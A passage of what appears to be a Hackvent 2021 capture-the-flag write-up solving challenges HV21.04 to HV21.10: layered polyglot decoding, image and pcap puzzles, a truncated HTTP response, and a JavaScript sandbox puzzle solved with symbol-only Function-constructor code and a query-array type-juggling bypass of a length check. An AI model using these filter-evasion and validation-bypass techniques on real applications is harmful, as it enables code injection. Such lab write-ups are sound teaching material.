rHDsyJy4pcxc1Ni0vKGYdbhg9NyUuKW8COz0oJD16C2sbKjEgKy1gHD8zJik3ZwJsHj8lLScsdAMyPigjLHkMahc3ICg6LnkCOzInLilxBWQRLyUtJy52CTkhKCstcgJsADk/OyomfR8pND8sJWwGYxQ6Lz4sLnEBPyUtJyp8MWsxLyUtJy52CTkhKCstcgJsADk/OyomfQU+JiktJ38IeBUiPigjLXACPiYpLShuBmMUOjkiLyJ+Cz01JjszYAVsADk/Ii87fQc4Ni4gL3gNbR84MzgvJWsAOTgrMjV1A2cTNDUvPS9/BSgxICstcglrHDoxIC0nfQc6OSIvInwOYRAhNS8hKGwGMTYhLyV1A2cSPzspKCBpDzsxKCkhfgR7ED8zOC85fxc0Pig6LnsCaQQVNCwuLHgHOjgqKT96C2kZOT8IKTh+DzsxKCkhfgRlBBw+KCMtXBU2NS89L30KaxsvNygjLHsMODMmKSF+BHsQMhQuOS1xATw0LiAveBFqEjA0IyUuaAM9NSo7AHgRahIwNCM8K2YJOTgrIi94EWoSPyUtJyp+DjM0JCwmewJlBCQ+LTAybQMuNyM5LX8PaQQULyIvIn4OODM6Lix5Em4YPTclJS5xACIiOSomfwhhECw0LCwjfAQpNCM8K3cDbRcrNSomLnYQPC8iLyJ8DmoXKzUqKT94Cz03JSUucwBjFDg6PDIxewQpNCMlLmoDbxE7MicuKXMFNjUvPy50FWgQNTc1NCR9Dzo5KSg8fgFtATw8LCwjdwM1Ny0nLHYDbxM0PigjLXAJOSwpKCB5Em4YOz0oJCR9DzsyJy4pcRdnEjw0LiAvehM5FycuKW8DYAM8PComLnkAND4oIy1iHG0XNzInLiltAzIiKy8ifQV6FTk8DCwuYws9NSY7I3UDZxM0NS8/LnYJOSEoKy1iCW4PJSQoOC12FSgxIC8ldQN+ED03JS4pbQMyJy0nLnkEeRE7PSgkJH0WOTApLTpZB2oeLQcjJTl+IhkyPiwifQZrFjY1LyEobAYxMCsiL3gRahI/ECsvMHUHODo8MjV1A2cTNDUvPS9/BSgxICstcglrHDoxIC0nfQc6OSkoPH4BYhAaOCoqLmElICwpKCB5Em4YOz0oJCR9DzsyJy4pcRdrBTkwKS0ocgIvJS0nLnQJawU5MCsiL3oTOT87KiZ/H3sQLjcjOS19DzsyOSomfQprFDo5Ii8ifg4zNCQtKGYdbhg5Pz4+K3UDMj4oOi57AGYRPiQoJD14CzkyLz0vfQprGyoxIC8lbgYiPigjLXICbAI4Ni4+K3UHOjkiLyJ8C28RNyAlJS5xAS0RKSEyXQluDyUkKDgtdhA8PCgkJH8PaRYoMSAtJ30IGTI+LCJ9BmsWICwpKCB7Ejw8KiYudAlrHDsyJy4pcxc5ISgrL30FehUxNiEvKn4oKTQ/LAl4E2s3IDQJJS5xADQ+KDcveA1tATw8KiYudgk5OCopIX4EZQQ1Ni0vKGQdPDwsLCN1A2cTJC8iLyJ+DjgzOi4seRJuGD03JSUucQA8PComLnsAZho5LCkoIHsSPDwqJi50CWscOzInLilzFzU2LS8obgZjEjA0IzwrZgk5OCsiL3gRahI/JS0nKn4OMzQkLCZ7AmUEND4oIyxpJT01Oi4saytDd0J+TANOAGMKABoDC1FrDzNQT2JLHB1+WVZKVGRZLFlwUVABT1Mdc0JUTAZOA2MPPEJUQ0RKVGpZD2JPTh9jDyJZSUhLHB1tWVAbNAFNJwN0Gi9MBjMUY1RUXlszBElWWl0YSFJOTjcLGA0BRhsxAmtzEgcdThVnEFRVT14EYw85WUhISwIGY10dSERTH3sbeVkPYk9OHWMcFwAATkw2SSMNBkBLHBFjXR1ET1YPagt+WVY0AUwGSQQ=")); discard = 1 // 3; """ ; printf("%s", p); return 0; } /* """ pwd = input().encode("utf-8") if hashlib.sha256(pwd).hexdigest() != "2cbdd00836863dbf7a24c10c67c3d9b7da272a6e2d0532689aebd2598fb7d53a" : sys.exit(1) for i in range(len(data)) : data[i] ^= pwd[i % len(pwd)] print(bytes(data).decode("utf-8")) # */  The C version prints out p, which is a byte array decoded. I’ll compile it as C and get an executable I can run: $ cp code.py code.c
$gcc code.c -o code$ ./code
C+Python=Cython?


That looks like a password. I’ll try giving that to the Python version, and get the next layer:

oxdf@parrot$./code | python code.py > code.php  PHP The output is PHP code, but there’s one trick. For PHP to handle code as code, it needs to be wrapped in <?php ?>. I’ll add that myself to get: <?php$s = explode(",", "+[],[]+,!+[,[]],+!+,]+[,]]+,[]),])[,]+!,![],]+(,)[+,+(!,[+[,(!!,[+!,(![,[!+,!![,]]],)[!,[][,+[+,[(!,([],+[!,][(,]]),+([,[[],][[,[![,)[(,[([,]](,([!,((!,()[,])+,)(),]][,]((,](),](!,(([,()+,(+(,))[,)+[,+((,+![");
$c = 'VQEH@KJ@U@DCMAGP@KSEH@iYXAGNFQEHBI@KJ@LBFOAGNT@U@DABFOAVQEH@KJ@U@DCMAGP@KSEH@\P@WCKVC@LBFQEHBI@DCMJ@LCMJ@LBFY^EH@KVQEH@KJ@U@DCMAGP@KSEH@FGRABI@KSEH@KSE[J@LCMAGRABFQEHDCMJ@LCHDANTMJ@LBTYXAGNFQEHBI@KJ@LBFOAGNTb[J@LCMAGRABFQEHDCMJ@LCEHBI@DCMJ@XAGNFQEHBI@KJ@LBFOAGNTLBE@FY^EHDCMAGRABI@KSEH@KSEHDC]_FGNFYXAGNFQEHBI@KJ@LBFOAGNT@U@DABFOAGNFOAVQEH@KJ@U@DCMAGP@KSEH@\P@WCKSEHDCjSEHDCMJ@U@DABFOAGNFY^EH@KSEHDC]_FGP@KAGXAGNFOAVQEH@KJ@U@DCMAGP@KSEH@\P@WCKVC@LBFOAGNFYXAGNFQEHBI@KJ@LBFOAGNT@U@DABFOAVQEH@KJ@U@DCMAGP@KSEH@\P@WCKJ@U@DCMJ@XAGNFQEHBI@KJ@LBFOAGNTLBE@FOAGP@cLBEBI@FeJ@LCWBFRABI@DCZ@DABFOAGNFP@EBI@DABI@EBI@DABI@DABFY^EHDCMAGRABI@KSEH@EDCZ@DABI@DCZ@DABI@DABI@KJ@U@DCMJ@U@DABFoDAP@KSEHBI@DCZ@DCWCqHDCMAGRABFOAGNFP@EBI@DABI@EBI@DABI@DABFOAGNFP@EBI@DABFRABI@DABI@DCMJ@LCZ@DABI@DCWCMJ@LCZ@DABI@EBI@KSEH@EDCWBFNFOAGNFP@EBI@EBI@DABI@DCZ@DCWBFOAGNFP@EBI@DABI@DABFRABI@KSEH@EBI@DABI@EBI@DABI@KSEH@EDCZ@DCZ@DABI@E@E@KSEH@EBI@DABI@EBI@DABI@KSEH@EDCZ@DABI@DCZ@DABI@DCMAGP@KVC@LBFOAGNFP@EBI@DABI@DABFP@KSEH@EBI@DABI@EBI@DABI@KSEH@EDCZ@DABI@DABFRABI@DABI@DCMJ@U@DABFdC@^HDANTMJ@LBFY^EHBI@KSEH@EBI@DABI@EBI@DABI@KSEH@EDCWBFRABI@DCZ@DABI@KZC@LCMJ@LCWBFNFRABI@DABI@DCMJ@LCWBFRABFRABI@DABFRABI@DCMJ@LCWBFNFRABI@DABI@DCMJ@LCWBFNFRABI@DABFRABI@DABFOAGNFRABI@DABFRABI@DABFOAGNFP@EBI@DABI@DABFRABI@DABFOAGNFRABI@DCZ@DCMJ@LCZ@DABI@DCWB\XAGRABI@KM@DAP@EDCpOAGNFOAVQEH@KJ@U@DCMAGP@KSEH@\P@WCKAGb[J@LCMAGRABFQEHDCMJ@LCEHBI@DCMJ@XAGNFQEHBI@KJ@LBFOAGNTLBE@FY^EHDCMAGRABI@KSEH@KSEHDC]_FGNFYXAGNFQEHBI@KJ@LBFOAGNT@U@DABFOAGNFOAVQEH@KJ@U@DCMAGP@KSEH@\P@WCKSEHDC[VC@LBFQEHDCr@aVQEH@KJ@U@DCMAGP@KSEH@FGRABI@KSE[J@LCMAGRABFQEHDCMJ@LCHDANT]_FGP@KJ@U@DABFOAGNFOAGP@KVC@LC][J@LCMAGRABFQEHDCMJ@LCEHBI@DCMJ@LCMJ@XAGNFQEHBI@KJ@LBFOAGNTLBE@FOAGP@FGP@WBTMJ@U@DABTl@DABEDCLBFQEHBI@KFVCLBE@FOAGNTeJ@LCaVOAGRABI@KVC@LBFOAGNFOAGP@KFVCLBE@FOAGRABI@KJ@U@DABTnGRABI@KSE[J@LCMAGRABFQEHDCMJ@LCHDANT]JE_\P@WCKVC@LBTm[J@LCMAGRABFQEHDCMJ@LC[VQEH@KJ@U@DCMAGP@KSEH@FGRABI@KSE[J@LCMAGRABFQEHDCMJ@LCHDANT]_FGP@KJ@U@DABFOAGNFOAGP@KVC@LC][J@LCMAGRABFQEHDCMJ@LCEHBI@DCMJ@LCMJ@XAGNFQEHBI@KJ@LBFOAGNTLBE@FOAGP@cOAGP@KSEHBI@DCMJ@LC]_FGNFOAGP@KVC@LBFQE@HdC@^HDANTMJ@LCMAGP@KJ@U@DC]JE_\P@WCKVQEH@KJ@U@DCMAGP@KSEH@FGRABI@KJ@U@DABTfDANTsKJWCaFVCLBE@FOAGNFQEHDCMAGRABFdC@^HDANT][J@LCMAGRABFQEHDCMJ@LCEHBI@DCMAGRABI@cLBE@\fYXAGNFQEHBI@KJ@LBFOAGNT@U@DABFOAVQEH@KJ@U@DCMAGP@KSEH@\P@WCKVC@LBFQEHBI@DCMJ@LCMJ@LBFY^EH@KVQEH@KJ@U@DCMAGP@KSEH@FGRABI@KSEH@KSE[J@LCMAGRABFQEHDCMJ@LCHDANTMJ@LBTeAN\bJE_\P@WCKSEH@KJ@LBFQEHBI@KFVCLBE@FYXAGNFQEHBI@KJ@LBFOAGNT@U@DABFQEHBI@DCkP@WCgGP@gY@aJ@LCMJ@XAGNFQEHBI@KJ@LBFOAGNTLBE@FY^EHDCMJ@LC][J@LCMAGRABFQEHDCMJ@LCEHBI@DCMJ@XAGNFQEHBI@KJ@LBFOAGNTLBE@FQEHBI@KSE[J@LCMAGRABFQEHDCMJ@LCHDANTMJ@LBTfDARABThh';$l = strlen($c);$r = "";
for ($i = 0;$i < $l; ++$i) {
$r =$r . $s[ord($c[$i]) - 64]; }$l = strlen($r); for ($i = 0; $i <$l; $i += 80) { echo substr($r, $i, 80) . "\n"; } ?>  Once I add that, I can run the script with php: oxdf@parrot$ php code.php > code.js


JSFuck

The output file isn’t obviously JavaScript:

[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]
+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!
![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]
]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+
[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!
+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[
+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])
[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![
...[snip]...


Luckily for me, I had run into JSFuck encoding a couple months ago in Flare-On. Knowing it’s JavaScript, I just ran it with Node:

node code.js HV21{-T00-many-weird-L4NGU4GE5-}  I could drop it into de4js and see what it’s doing: Click for full size image Nothing fancy, just a console.log that prints the flag. Flag: HV21{-T00-many-weird-L4NGU4GE5-} HV21.05 Challenge HV21.05 X-Mas Jumper Categories: CRYPTO FUN Level: easy Author: money The elves have been getting into the festive spirit by making Christmas jumpers for themselves to wear in the workshop. They made one for Santa too, but it looks like they didn’t program the knitting machine correctly. It included this image: Solution The challenge looks kind of random, but perhaps like it’s on the wrong width. I write a Python script to read in the blocks, either red or tan: #!/usr/bin/env python3 import sys from PIL import Image x_num = 48 x_off = 109 x_width = (1098 - 104) / x_num y_num = 27 y_off = 83 y_width = (497 - 71) / y_num im = Image.open('8dd64323-1056-409b-a328-22fe3d0104ef.jpg') pix = im.load() res = [] for y in range(y_num): for x in range(x_num): res.append(pix[int(x_width * x) + x_off, int(y_width * y) + y_off])  I used Gimp to measure the number of pixels to the first block (width and height), as well as the distance from middle to middle of each block (horizontal and vertical). That allows the program to step through the pattern and capture it. Some playing around in Gimp with the image showed that the most reliable way to detect if the block was red or tan was to look at the second value in RGB. I’ll print a block if it’s red, and space otherwise: for i,rgb in enumerate(res): if rgb[1] < 150: print("█", end='') else: print(" ", end='') if i > 0 and not i % int(sys.argv[1]): print()  sys.argv[1] is an int that says how wide the bits should be rastered on. 48 prints the original image: I started stepping down, until I got to 37: Flag: HV{Too_K3wL_F0R_YuLe!} HV21.06 Challenge HV21.06 Snow Cube Categories: REVERSE_ENGINEERING FUN Level: easy Author: Dr. Nick The ester bunny sent a gift to Santa - what is usually a crystal sphere seemed a bit too boring, so it’s a cube! The snow seems to be falling somewhat strangely, is it possible that there’s a message hidden somewhere? There’s a docker I can spin up, which presents this webpage with a cube and snow falling on a snowman. When I move the mouse around, the view point rotates, but never too far off the front face: Solution Looking at the Javascript for the page, the view angle is defined here: const canvas = document.getElementById("canvasSwonCube"); const context = canvas.getContext("2d"); let alpha = 0; let beta = 0; let s = false; let a = canvas.width; canvas.addEventListener('keydown', e => s = (e.key === 's')); canvas.addEventListener('keyup', e => s = true); canvas.addEventListener('mousemove', e => { var rect = e.target.getBoundingClientRect(); alpha = s?((e.clientX-rect.left-a/2)*7/a):Math.sin(((e.clientX-rect.left-a/2)*7/a)); beta = Math.sin(((e.clientY-rect.top-a/2)*7/a)); });  It looks like if I hold down the s key, it should let me go all the way around, rather than putting it into a sin function which limits the result to -pi/2 to pi/2. I had little success with that on my laptop (on writing this up later on my desktop with a mouse it worked great), so I just downloaded the page and changed that section: const canvas = document.getElementById("canvasSwonCube"); const context = canvas.getContext("2d"); let alpha = Math.PI/2; let beta = 0; let s = false; let a = canvas.width; canvas.addEventListener('keydown', e => s = (e.key === 's')); canvas.addEventListener('keyup', e => s = true); canvas.addEventListener('mousemove', e => { var rect = e.target.getBoundingClientRect(); //alpha = s?((e.clientX-rect.left-a/2)*7/a):Math.sin(((e.clientX-rect.left-a/2)*7/a)); //beta = Math.sin(((e.clientY-rect.top-a/2)*7/a)); });  Now the view angle isn’t dependent on the mouse, but rather just always from the side: Right away I’ll notice the letters in there, a fading H and a V coming into view. I created this video of the entire thing, with the spaces between letters speed up: Flag: HV21{M3SSAGE_OUT_OF_FLAKES} HV21.07 Challenge HV21.07 Grinch's Portscan Categories: NETWORK_SECURITY FUN Level: easy Author: wangibangi The elves port-scanned grinch’s server and noticed something strange. There’s a secret message hidden in the packet capture, can you find it? It includes this pcap. Solution The PCAP has a ton of TCP conversations: Click for full size image That makes sense for a port scan. I used “Copy to csv” to get these into Excel, and started looking at the number of packets in each conversation. Then I removed the low ones as potentially uninteresting: The remaining ports all looked like ASCII numbers: So I created a column that was =CHAR(port), and that gave the flag: Flag: **HV21{c0nfuse_Portsc4nn3rs}' HV21.08 Challenge HV21.08 Flag Service Categories: WEB_SECURITY Level: easy Author: nichtseb logical overflow Santa has setup a web service for you to receive your flag for today. Unfortunately, the flag doesn’t seem to reach you. There’s a docker that gives this page: The background image changes on each visit. Solution Looking at the source for the page, it appears to stop right in the middle: <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&display=swap" rel="stylesheet"> <style> body{font-family: 'IBM Plex Mono', monospace;height: 100vh !important;background-image: url("https://source.unsplash.com/random");-webkit-background-size: cover;-moz-background-size: cover;-o-background-size: cover;background-size: cover;background-color:#131627;color:#fff;overflow:hidden;} ::selection{background-color:rgba(0, 0, 0, 0);} #flex-wrapper{position:absolute;top:0;bottom:0;right:0;left:0;-ms-flex-direction:row;-ms-flex-align:center;display:-webkit-flex;display:flex}#container{margin:auto; z-index: 10; padding:25px;}#container *{margin:0}h1{text-align:center;font-size:60px;color:#131627;text-shadow:0 0 5px #fff;opacity:0;-webkit-animation:fade-in 3s ease-in 0s forwards;-moz-animation:fade-in 3s ease-in 0s forwards;-o-animation:fade-in 3s ease-in 0s forwards;animation:fade-in 3s ease-in 0s forwards}h2{font-size:50px;text-shadow:0 0 5px orange;text-align:center;opacity:0;-webkit-animation:fade-in 3s ease-in .5s forwards;-moz-animation:fade-in 3s ease-in .5s forwards;-o-animation:fade-in 3s ease-in .5s forwards;animation:fade-in 3s ease-in .5s forwards}@-webkit-keyframes fade-in{from{opacity:0}to{opacity:1}}@-moz-keyframes fade-in{from{opacity:0}to{opacity:1}}@-o-keyframes fade-in{from{opacity:0}to{opacity:1}}@keyframes fade-in{from{opacity:0}to{opacity:1}} </style> <title>Flag Service</title> </head> <body> <div id="flex-wrapper"> <div id="container"> <h1>Thanks for using the Flag service.<br/> Your Flag is:</h1> <h2>  The issue is with the Content-Length response header. It’s coming back to short. For example, in curl: oxdf@parrot curl http://6e9dd25f-8fff-40af-aab5-4f1480a13d3a.rdocker.vuln.land/
...[snip]...
<body>
<div id="flex-wrapper">
<div id="container">
<h1>Thanks for using the Flag service.<br/> Your Flag is:</h1>
<h2>


If I use the --ignore-content-length flag:

$curl --ignore-content-length http://6e9dd25f-8fff-40af-aab5-4f1480a13d3a.rdocker.vuln.land/ ...[snip]... <body> <div id="flex-wrapper"> <div id="container"> <h1>Thanks for using the Flag service.<br/> Your Flag is:</h1> <h2>HV21{4lw4y5_c0un7_y0ur53lf_d0n7_7ru57_7h3_53rv3r}</h2> </div> </div> </div> </body> </html>  Flag: HV21{4lw4y5_c0un7_y0ur53lf_d0n7_7ru57_7h3_53rv3r} Digging Deeper I’ll look in Wireshark at what happens both ways with curl. When I make the request normally, the exchange looks like: Click for full size image The server sends back the first half of the response, with the Content-Length header that says it’s done at packet 8. The client responds first with a TCP ACK (packet 9), and then with a FIN/ACK (packet 10) to end the connection. When the server then sends the rest, the client has already closed down, and sends a RST (reset). The server tries to exit with a FIN/ACK, and again, the client has already closed, so it responds with RST. Running again with --ignore-content-length: Click for full size image This time the client just sends ACK to the first response, and waits. The server then sends the rest (packet 10), and the client ACKs (11), and then the server says it’s done with a FIN/ACK, and the client responds and both sides shut down gracefully. HV21.09 Challenge HV21.09 Brother Santa Categories: CRYPTO Level: medium Author: brp64 Ever security minded, Santa is. So switched to a prime encoding system he has, after contemplating for long. There’s an image: Solution Decode symbols This is a monks code, or Cistercian numerals. Each will decode four digits based on what’s coming up right (ones), up left (tens), down left (hundreds) and down left (thousands). This image shows how: Using that key with the input, I’ll get these numbers: 2314 6344 6333 4675 2268 3533 0763 5940 1707 7377 4022 4870 7382 6109 0385 4221  Decoding Numbers Those numbers aren’t all ASCII characters, so that doesn’t work as a translation. The prompt calls it a prime encoding… looking at the numbers, while for 0-9999 it could use up to 14 bits, 0-8191 fits in 13, which handles all of the numbers above. And 13 is prime. I’ll convert each number to binary strings, making sure they each use 13-bits: >>> nums = [2314,6344,6333,4675,2268,3533,763,5940,1707,7377,4022,4870,7382,6109,385,4221] >>> [f'{x:013b}' for x in nums] ['0100100001010', '1100011001000', '1100010111101', '1001001000011', '0100011011100', '0110111001101', '0001011111011', '1011100110100', '0011010101011', '1110011010001', '0111110110110', '1001100000110', '1110011010110', '1011111011101', '0000110000001', '1000001111101']  Right away I notice that the high bits of the first word are 01001000 == 0x47 == “H”. I can split the rest that way, and it returns the flag: >>> bin_str = ''.join([f'{x:013b}' for x in nums]) >>> ''.join([chr(int(bin_str[i:i+8],2)) for i in range(0, len(bin_str), 8)]) 'HV21{$4n74_w45_4_m0nk_t00}'


Flag: HV21{$4n74_w45_4_m0nk_t00} HV21.10 Challenge HV21.10 Christmas Trophy Categories: FUN PROGRAMMING Level: medium Author: nichtseb logical overflow The elves thought Santa should relax a bit, so they’re inviting him to a round of golf. But the organizers must have understood, when they get there, what they get is keyboards instead of clubs! Write JS code that prints Hackvent without using characters from a-z, A-Z, \, : or _. The code should be at most 400 characters. There’s a docker that returns the following page: The source link gives the source for the site: const express = require('express'); const path = require('path'); const vm = require('vm'); const hbs = require('hbs'); const app = express(); const flag = require('./flag'); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'hbs'); app.get('/', function (req, res) { let output = ''; const code = req.query.code; if (code && code.length < 400 && /^[^a-zA-Z\\\:\_]*$/.test(code)) {
try {
const result = new vm.Script(code).runInNewContext(undefined, {timeout: 500});

if (result === 'Hackvent') {
output = flag;
} else {
output = "Bad result: " + result;
}
} catch (e) {
console.log(e);
output = 'Exception :(';
}
} else {
output = "Bad code";
}

res.render('index', {output});
});

app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});

module.exports = app;


Solution

Trying to Make Characters

Immediately I thought about JSFuck, which encodes everything into six characters. There are some basics on that page:

- false       =>  ![]
- true        =>  !![]
- undefined   =>  [][[]]
- NaN         =>  +[![]]
- 0           =>  +[]
- 1           =>  +!+[]
- 2           =>  !+[]+!+[]
- 10          =>  [+!+[]]+[+[]]
- Array       =>  []
- Number      =>  +[]
- String      =>  []+[]
- Boolean     =>  ![]
- Function    =>  []["filter"]
- eval        =>  []["filter"]["constructor"]( CODE )()
- window      =>  []["filter"]["constructor"]("return this")()


I can try sending in a string of say +[] (for “0”), and it returns that string:

The Wikipedia page for JSFuck has a table with a bunch more representations of characters. For example, “a” is (![]+[])[+!+[]]. Sending that works:

I can append characters with +. So “ent” is (!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!+[]+[])[+[]]:

Unfortunately, there aren’t keys for all the characters I need. I got as far as (![]+[])[+!+[]]+[[]+{}][0][5]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!+[]+[])[+[]], which returned “acent”.

Unfortunately, this was a bit of a dead end. I couldn’t find the other characters.

Make unescape

Using the methodology of JSFuck, I was able to craft the unescape function. That would then allow me to call unescape('%48') and get “H”, for example.

I’ll start with [][[]], which is “undefined”. If I then add + [], it creates the string “undefined”, which I can now reference indexes of to get any of those characters:

$0=([][[]]+[]);  There’s another pattern, [][string]+[], that will produce a function. I can create the find function, and turn it into a string “function find() { [native code] }” with: $1=[][$0[4]+$0[5]+$0[6]+$0[2]]+[];


This gives a lot more characters to work with. I’ll also bring in the strings “true” ($2=!0+[];) and “false” ($3=!1+[];).

Next I’m going to build the string “constructor”. I already have the “c” from $1, “n” and “u” from$0, “s” from $3, and “t” and “r” from$2. The only character missing at this point is “o”. I can get that from an [[]+{}][0], which makes “[object Object]”. So [[]+{}][0][1] is the character “o”.

$4=[[]+{}][0][1];$5=$1[3]+$4+$0[1]+$3[3]+$2[0]+$2[1]+$0[0]+$1[3]+$2[0]+$4+$2[1];  Now $5 is “constructor”.

Next I need “toString” as a string. ""["constructor"] will return “[Function: String]”. If I can make ""["constructor"]["name"], it will return “String”. “n” comes from $0, “a” and “e” from $3. “m” is tricky, but I can get it. (+[]) is 0. (0)["constructor"]+[] is “function Number() { [native code] }”, and I can grab “m” from there as character 11. With all of that, $6 is “toString”: $6=$2[0]+$4+""[$5][$0[1]+$3[1]+((+[])[$5]+[])["11"]+$2[3]];  The string “toString” gives me access to Base36 encoding in JavaScript, which gives any characters in digits and lowercase letters. Something like (10).toString(36) will return ‘a’. This could also be written (10)["toString"](36), which is what I can build now. This gives me everything I need except the “H”. For that, I’ll look at unescape. I’ve already got a lot of those characters, and I can use toString to get the rest: $7=$0[0]+$0[1]+$2[3]+$3[3]+(12)[$6](36)+$3[1]+(25)[$6](36)+$3[4]


To use “unescape”, I created a function using this pattern:

[]['filter']['constructor'](code)();


I’ve already got “constructor” ($5). I need to make “filter”, which is easy with letters I already have. I’ll also need “return”: $8=$3[0]+$1[5]+$3[2]+$2[0]+$2[3]+$2[1];
$9=$2[1]+$2[3]+$2[0]+$0[0]+$2[1]+$0[1]+$1[8];


With those strings, I can build the function unescape:

$10=[][$8][$5]($9+$7)();  Using unescape With that, I can make any string. So “Hackvent” is: $10('%48%61%63%6'+$10('%42')+'%76%65%6'+$3[4]+'%74')


It’s a bit tricky because “k” is %6b and “n” is %6e, but I can’t include “b” in the code. “e” is easy to get from “false”, but I’ll use double unescape to get “b”.

The good news is that this code will print “Hackvent”:

$0=([][[]]+[]);$1=[][$0[4]+$0[5]+$0[6]+$0[2]]+[];
$2=!0+[];$3=!1+[];
$4=[[]+{}][0][1];$5=$1[3]+$4+$0[1]+$3[3]+$2[0]+$2[1]+$0[0]+$1[3]+$2[0]+$4+$2[1];$6=$2[0]+$4+""[$5][$0[1]+$3[1]+((+[])[$5]+[])["11"]+$2[3]];$7=$0[0]+$0[1]+$2[3]+$3[3]+(12)[$6](36)+$3[1]+(25)[$6](36)+$3[4];
$8=$3[0]+$1[5]+$3[2]+$2[0]+$2[3]+$2[1];$9=$2[1]+$2[3]+$2[0]+$0[0]+$2[1]+$0[1]+$1[8];$10=[][$8][$5]($9+$7)();
$10('%48%61%63%6'+$10('%42')+'%76%65%6'+$3[4]+'%74')  The bad news is it is too long. Even with newlines removed, it’s 432 characters, 32 too many. In JavaScript, a variable can be any string. So a and $a are different variables:

I’m using $1 because a variable name can’t start with a digit (or it would just be a number). Big props to SmartSmuf who figured out that we could use non-ascii characters as variables: α=([][[]]+[]); β=[][α[4]+α[5]+α[6]+α[2]]+[]; χ=!0+[]; δ=!1+[]; ε=[[]+{}][0][1]; φ=β[3]+ε+α[1]+δ[3]+χ[0]+χ[1]+α[0]+β[3]+χ[0]+ε+χ[1]; γ=χ[0]+ε+""[φ][α[1]+δ[1]+((+[])[φ]+[])["11"]+χ[3]]; η=α[0]+α[1]+χ[3]+δ[3]+(12)[γ](36)+δ[1]+(25)[γ](36)+δ[4]; ι=δ[0]+β[5]+δ[2]+χ[0]+χ[3]+χ[1]; κ=χ[1]+χ[3]+χ[0]+α[0]+χ[1]+α[1]+β[8]; λ=[][ι][φ](κ+η)(); λ('%48%61%63%6'+λ('%42')+'%76%65%6'+δ[4]+'%74')  Putting that into the site solves the challenge: Flag: HV{W4NN4 G0 G0LFING T0M0RR0W?} Alternative Solution - Bypass Length Check There’s bug in the site code that allows bypassing the length check. This is the line that enforces the requirements of length and characters:  if (code && code.length < 400 && /^[^a-zA-Z\\\:\_]*$/.test(code)) {


When I click submit on the site, it goes into a GET request:

If I change that to be /?code[]=..., the server will type the input as a list, not a string. And then length of that list, no matter how long the text, will be one. This is a type juggling attack. So I can submit my 432 characters above with this URL:

https://6522f096-f9e3-48d0-aa43-41e815fcf644.idocker.vuln.land/?code[]=%240%3D%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%3B%0D%0A%241%3D%5B%5D%5B%240%5B4%5D%2B%240%5B5%5D%2B%240%5B6%5D%2B%240%5B2%5D%5D%2B%5B%5D%3B%0D%0A%242%3D%210%2B%5B%5D%3B%0D%0A%243%3D%211%2B%5B%5D%3B%0D%0A%244%3D%5B%5B%5D%2B%7B%7D%5D%5B0%5D%5B1%5D%3B%0D%0A%245%3D%241%5B3%5D%2B%244%2B%240%5B1%5D%2B%243%5B3%5D%2B%242%5B0%5D%2B%242%5B1%5D%2B%240%5B0%5D%2B%241%5B3%5D%2B%242%5B0%5D%2B%244%2B%242%5B1%5D%3B%0D%0A%246%3D%242%5B0%5D%2B%244%2B%22%22%5B%245%5D%5B%240%5B1%5D%2B%243%5B1%5D%2B%28%28%2B%5B%5D%29%5B%245%5D%2B%5B%5D%29%5B%2211%22%5D%2B%242%5B3%5D%5D%3B%0D%0A%247%3D%240%5B0%5D%2B%240%5B1%5D%2B%242%5B3%5D%2B%243%5B3%5D%2B%2812%29%5B%246%5D%2836%29%2B%243%5B1%5D%2B%2825%29%5B%246%5D%2836%29%2B%243%5B4%5D%3B%0D%0A%248%3D%243%5B0%5D%2B%241%5B5%5D%2B%243%5B2%5D%2B%242%5B0%5D%2B%242%5B3%5D%2B%242%5B1%5D%3B%0D%0A%249%3D%242%5B1%5D%2B%242%5B3%5D%2B%242%5B0%5D%2B%240%5B0%5D%2B%242%5B1%5D%2B%240%5B1%5D%2B%241%5B8%5D%3B%0D%0A%2410%3D%5B%5D%5B%248%5D%5B%245%5D%28%249%2B%247%29%28%29%3B%0D%0A%2410%28%27%2548%2561%2563%256%27%2B%2410%28%27%2542%27%29%2B%27%2576%2565%256%27%2B%243%5B4%5D%2B%27%2574%27%29


And it returns the flag.

HV21.12

Challenge

HV21.12 Santa's Shuffle
Categories: PROGRAMMING
REVERSE_ENGINEERING
Level: medium
Author: 2d3

Oh no, the elves have forgotten to close the windows and the draft made mess of Santa’s code! Maybe you could clean it up?

Can you help Santa clean up this chaos?

The download is this heavily obfuscated C code:

